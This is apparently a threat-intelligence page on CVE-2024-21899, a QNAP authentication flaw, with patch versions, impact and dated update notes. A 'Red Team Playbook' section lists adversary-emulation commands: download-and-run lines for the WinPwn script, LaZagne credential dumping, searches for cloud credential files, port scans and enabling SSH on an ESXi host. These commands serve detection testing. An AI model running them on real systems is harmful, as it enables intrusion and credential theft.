CVE-2024-21899
Overview
This vulnerability is an improper authentication flaw within QNAP QTS operating systems, resulting from insufficient verification of user credentials in network-accessible services. The root cause lies in the authentication mechanism failing to properly validate requests, allowing unauthorized access to protected components of the system. The affected components include multiple QNAP QTS versions and variants, impacting core system access controls.
Vulnerability Description
An improper authentication vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to compromise the security of the system via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.3.2578 build 20231110 and later QTS 4.5.4.2627 build 20231225 and later QuTS hero h5.1.3.2578 build 20231110 and later QuTS hero h4.5.4.2626 build 20231225 and later QuTScloud c5.1.5.2651 and later
Impact
An attacker with network access can exploit this vulnerability without any authentication or user interaction to gain unauthorized control over the system. This enables full compromise of confidentiality, integrity, and availability, including potential data exfiltration, system manipulation, or disruption of services. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that no privileges or user interaction are required, amplifying the risk of remote exploitation and lateral movement within affected environments.
Solution
QNAP has released patches addressing this vulnerability in specific product versions: QTS 5.1.3.2578 build 20231110 and later, QTS 4.5.4.2627 build 20231225 and later, QuTS hero h5.1.3.2578 build 20231110 and later, QuTS hero h4.5.4.2626 build 20231225 and later, and QuTScloud c5.1.5.2651 and later. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at QNAP’s official security advisory page: https://www.qnap.com/en/security-advisory/qsa-24-09
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
An improper authentication vulnerability has been identified in several versions of QNAP's operating systems, which could significantly compromise the security of affected systems. This flaw arises from inadequate validation of user credentials, allowing unauthorized access to sensitive functionalities and data. The vulnerability exists across multiple operating system versions, including QTS and QuTS hero, which are widely used in network-attached storage (NAS) devices. The severity of this issue is underscored by its high CVSS score of 9.8, indicating a critical risk that necessitates immediate attention from users and administrators.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving network access. An attacker with knowledge of the flaw could potentially bypass authentication mechanisms, gaining unauthorized control over the device. This could lead to a range of malicious activities, such as data exfiltration, manipulation of stored files, or even the deployment of ransomware. Scenarios may include targeted attacks on organizations that rely on QNAP devices for data storage and management, where an attacker could exploit the vulnerability to infiltrate the network, escalate privileges, and access sensitive business information.
The real-world impact of this vulnerability is profound, particularly for businesses that utilize QNAP systems for critical operations. A successful exploitation could result in significant financial losses, reputational damage, and potential legal ramifications due to data breaches. Organizations that store sensitive customer information or proprietary data on these devices are at heightened risk, as unauthorized access could lead to data theft or loss of intellectual property. Furthermore, the operational disruption caused by such incidents can lead to extended downtime, impacting service delivery and customer trust.
To mitigate the risks associated with this vulnerability, organizations should prioritize immediate detection and remediation efforts. Regularly updating to the latest versions of the affected operating systems is crucial, as the vendor has released patches that address the security flaw. Additionally, implementing robust access controls and monitoring network traffic for unusual activities can help detect potential exploitation attempts. Organizations should also consider employing intrusion detection systems (IDS) to identify and respond to suspicious behavior in real-time. Regular security audits and vulnerability assessments can further enhance the security posture, ensuring that any emerging threats are promptly addressed.
In conclusion, the improper authentication vulnerability affecting QNAP operating systems represents a significant threat to both individual users and organizations. The potential for unauthorized access to sensitive data and system functionalities necessitates immediate action to mitigate risks. By adopting a proactive approach to security, including timely updates, enhanced monitoring, and comprehensive security practices, organizations can safeguard their assets against exploitation and maintain the integrity of their operations.
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2024-21899, indicating a modest resurgence in attempts to exploit the improper authentication vulnerability in QNAP operating systems. While the overall exploit landscape remains unchanged with no new proof-of-concept exploits or active campaigns reported, the uptick in telemetry suggests adversaries continue to probe affected environments opportunistically. This subtle rise in activity underscores the persistent interest in targeting QNAP devices, particularly given their widespread deployment in enterprise and SMB networks. Although the EPSS score remains stable and below thresholds typically associated with rapid exploitation, defenders should recognize that the vulnerability remains a viable vector for unauthorized access if unpatched. Consequently, the risk posture is marginally elevated due to ongoing reconnaissance and low-level exploitation attempts, reinforcing the need for sustained vigilance despite the absence of large-scale exploitation events.
Update 2 — July 16, 2026
CSURFACE threat intelligence has identified a slight increase in reconnaissance and low-level exploitation attempts targeting CVE-2024-21899, consistent with the previously observed upward trend. While no new exploit techniques or proof-of-concept codes have surfaced, the persistence of scanning and probing activity indicates continued adversary interest in this vulnerability. This sustained activity, despite the availability of patched QNAP versions, suggests that threat actors may be focusing on unpatched or poorly maintained systems to gain unauthorized access. The EPSS score remains stable, reinforcing that large-scale exploitation has not yet materialized; however, the incremental rise in detection frequency marginally elevates the overall threat posture. Defenders should interpret this as a signal that CVE-2024-21899 remains an active target within the threat landscape, warranting ongoing monitoring and validation of patch deployment across affected environments.
Update 3 — July 24, 2026
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2024-21899, indicating continued adversary interest in targeting vulnerable QNAP systems. While the overall exploit landscape remains unchanged with no new proof-of-concept exploits or widespread campaigns observed, the incremental rise in telemetry suggests that threat actors persist in probing for unpatched or misconfigured devices. This subtle uptick underscores the ongoing relevance of this vulnerability as a vector for unauthorized access attempts, particularly in environments where patch management is inconsistent. The stable EPSS score corroborates that large-scale exploitation has yet to materialize, but the persistence of activity signals a sustained threat presence. Consequently, the risk level remains elevated, emphasizing the necessity for defenders to maintain vigilance and verify that remediation efforts are comprehensive and up to date.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Qnap | Qts | All |
cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
|
|
|
Qnap | Qts | All |
cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.5.4.2627 |
cpe:2.3:o:qnap:qts:4.5.4.2627:-:*:*:*:*:*:*
|
|
|
Qnap | Qts | 5.1.3.2578 |
cpe:2.3:o:qnap:qts:5.1.3.2578:-:*:*:*:*:*:*
|
|
|
Qnap | Quts Hero | All |
cpe:2.3:o:qnap:quts_hero:*:*:*:*:*:*:*:*
|
|
|
Qnap | Quts Hero | All |
cpe:2.3:o:qnap:quts_hero:*:*:*:*:*:*:*:*
|
|
|
Qnap | Quts Hero | h4.5.4.2626 |
cpe:2.3:o:qnap:quts_hero:h4.5.4.2626:-:*:*:*:*:*:*
|
|
|
Qnap | Quts Hero | h5.1.3.2578 |
cpe:2.3:o:qnap:quts_hero:h5.1.3.2578:-:*:*:*:*:*:*
|
|
|
Qnap | Qutscloud | All |
cpe:2.3:o:qnap:qutscloud:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21899 |
| qnap.com |
GitHub CVE
|
https://www.qnap.com/en/security-advisory/qsa-24-09 |